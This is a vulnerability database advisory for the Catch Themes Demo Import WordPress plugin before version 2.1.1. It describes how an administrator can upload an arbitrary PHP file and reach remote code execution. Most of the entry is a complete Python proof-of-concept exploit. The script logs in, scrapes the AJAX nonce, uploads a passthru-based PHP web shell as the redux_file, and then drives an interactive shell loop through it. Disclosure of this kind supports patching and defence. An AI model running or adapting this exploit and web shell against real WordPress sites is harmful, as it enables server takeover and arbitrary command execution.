WordPress Plugin Vulnerabilities
Catch Themes Demo Import < 2.1.1 - Admin+ Remote Code Execution
Description
The plugin does not validate one of the file to be imported, which could allow high privivilege admin to upload an arbitrary PHP file and gain RCE even in the case of an hardened blog (ie DISALLOW_UNFILTERED_HTML, DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS constants set to true)
Proof of Concept
# Author : qerogram import requests, os, hashlib BASE_URL = "http://localhost:8000" id = "wordpress" pw = "wordpress" def generateFileName() : sha1 = hashlib.sha1() sha1.update(os.urandom(32)) return sha1.hexdigest() def login(id, pw) : sess = requests.Session() sess.post( BASE_URL + "/wp-login.php", data = { 'log': id, 'pwd': pw, 'wp-submit': '%EB%A1%9C%EA%B7%B8%EC%9D%B8', 'testcookie': '1' } ).text return sess def init(sess, wp_nonce) : # we need a reset task! # Because, if not installed redux plugin, occurs upload error! sess.post( BASE_URL + "/wp-admin/admin-ajax.php", data = { "action" : "ctdi_import_demo_data", "content_file" : "undefined", "customizer_file" : "undefined", "selected" : "undefined", "security" : wp_nonce, }, files = { "widget_file" : (f"{generateFileName()}.json", "{'11':'22'}"), }, proxies = {"http":"http://localhost:8080"} ) sess.post( BASE_URL + "/wp-admin/admin-ajax.php", headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUHxlgT04VAl3uVr9"}, data = f"""------WebKitFormBoundaryUHxlgT04VAl3uVr9 Content-Disposition: form-data; name="action" ctdi_after_import_data ------WebKitFormBoundaryUHxlgT04VAl3uVr9 Content-Disposition: form-data; name="security" {wp_nonce} ------WebKitFormBoundaryUHxlgT04VAl3uVr9--""", ) def exploit(sess) : check = sess.get( BASE_URL + '/wp-admin/themes.php?page=catch-themes-demo-import' ).text nonce = check[check.find('ajax_nonce":') + 13:] wp_nonce = nonce[:nonce.find('"')] FileName = generateFileName()[:20] init(sess, wp_nonce) sess.post( BASE_URL + "/wp-admin/admin-ajax.php", data = { "action" : "ctdi_import_demo_data", "content_file" : "undefined", "customizer_file" : "undefined", "selected" : "undefined", "security" : wp_nonce }, files = { "widget_file" : ("test4.json", "{'11':'22'}"), "redux_file" : (f"{FileName}.php", "<?php echo(passthru($_GET['qerogram']));?>"), }, ) return FileName def getShell(sess, FileName) : import datetime n = datetime.datetime.now() while True : cmd = input("$ ") if cmd.lower() == "exit" or cmd.lower() == "quit" : sess.get( BASE_URL + f"/wp-content/uploads/{n.year}/" + ("%02d" % n.month) + f"/{FileName}.php", params = {"qerogram" : f"rm {FileName}.php"} ) break res = sess.get( BASE_URL + f"/wp-content/uploads/{n.year}/" + ("%02d" % n.month) + f"/{FileName}.php", params = {"qerogram" : cmd} ) print(res.text) sess = login(id, pw) FileName = exploit(sess) getShell(sess, FileName)
Affects Plugins
References
CVE
Miscellaneous
Original Researcher
qerogram
Submitter
qerogram
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-02-07 (about 2 years ago)
Added
2022-02-07 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)